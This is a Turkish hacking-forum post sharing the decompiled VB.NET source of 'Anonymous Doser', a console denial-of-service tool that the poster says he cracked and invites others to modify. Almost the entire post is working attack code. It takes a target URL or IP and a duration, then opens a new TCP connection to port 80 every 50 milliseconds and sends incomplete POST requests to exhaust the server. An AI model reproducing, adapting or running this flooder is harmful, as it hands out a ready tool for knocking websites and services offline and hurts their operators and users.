Anonymous Doser Dddos Cracked (Console Kodları)

Katılım
1 Şub 2019
Mesajlar
9
Beğeniler
0
Puanları
1
Konum
I Am Coder :)
#30
Beyler Anonymous Doser Adlı Fake DdosS Programı Var Bildiginiz Gibi Crackledim Kaynak Kodları Aşağıda İstediginiz Gibi Kodlayın
Kod:
Imports System
Imports System.Collections.Generic
Imports System.IO
Imports System.Net.Sockets
Imports System.Threading

Namespace HTTPFlooder
    ' Token: 0x02000002 RID: 2
    Friend Class Program
        ' Token: 0x06000001 RID: 1 RVA: 0x00002058 File Offset: 0x00000258
        Private Shared Sub Main(args As String())
            Console.ForegroundColor = ConsoleColor.Yellow
            Console.WriteLine(vbLf & "             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & vbLf)
            Console.WriteLine("                   Anonymous Doxer Created by 1337 Haxxor On HF")
            Console.WriteLine("                     Original Source created by van1lle on HF")
            Console.WriteLine("                  Need any help or having problems? PM me on HF!" & vbLf)
            Console.WriteLine("             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & vbLf)
            Console.ForegroundColor = ConsoleColor.Magenta
            Console.Write("Website [URL/IP] : ")
            Dim website As String = Console.ReadLine()
            Console.Write("Time [SECONDS] : ")
            Dim s As String = Console.ReadLine()
            Console.Write(vbLf)
            Dim count As Integer = 1
            Dim [loop] As Boolean = True
            Dim thread As Thread = New Thread(Sub()
                Dim clients As List(Of TcpClient) = New List(Of TcpClient)()
                While [loop]
                    New Thread(Sub()
                        Dim tcpClient2 As TcpClient = New TcpClient()
                        clients.Add(tcpClient2)
                        Try
                            tcpClient2.Connect(website, 80)
                            Dim streamWriter As StreamWriter = New StreamWriter(tcpClient2.GetStream())
                            streamWriter.Write("POST / HTTP/1.1" & vbCrLf & "Host: " + website + vbCrLf & "Content-length: 5235" & vbCrLf & vbCrLf)
                            streamWriter.Flush()
                            If [loop] Then
                                Console.ForegroundColor = ConsoleColor.Green
                            End If
                            Console.WriteLine("Server Is Up / Packets sent: " + count)
                            count += 1
                        Catch ex As Exception
                            If [loop] Then
                                Console.ForegroundColor = ConsoleColor.Red
                            End If
                            Console.WriteLine("DoS Succeeded, Server Down!")
                        End Try
                    End Sub).Start()
                    Thread.Sleep(50)
                End While
                For Each tcpClient As TcpClient In clients
                    Try
                        tcpClient.GetStream().Dispose()
                    Catch ex As Exception
                    End Try
                Next
            End Sub)
            thread.Start()
            Thread.Sleep(Integer.Parse(s) * 1000)
            [loop] = False
            Console.WriteLine(vbLf & "DoS Completed")
            Console.WriteLine("Press any key to Close...")
            Console.ReadKey()
        End Sub
    End Class
End Namespace
Aga Walla Bunla Bana Senin Modemini Çökertirim Diyorlar W:EaWE.waE.waE:WAE:aW:EAWEwa
 
Üst Alt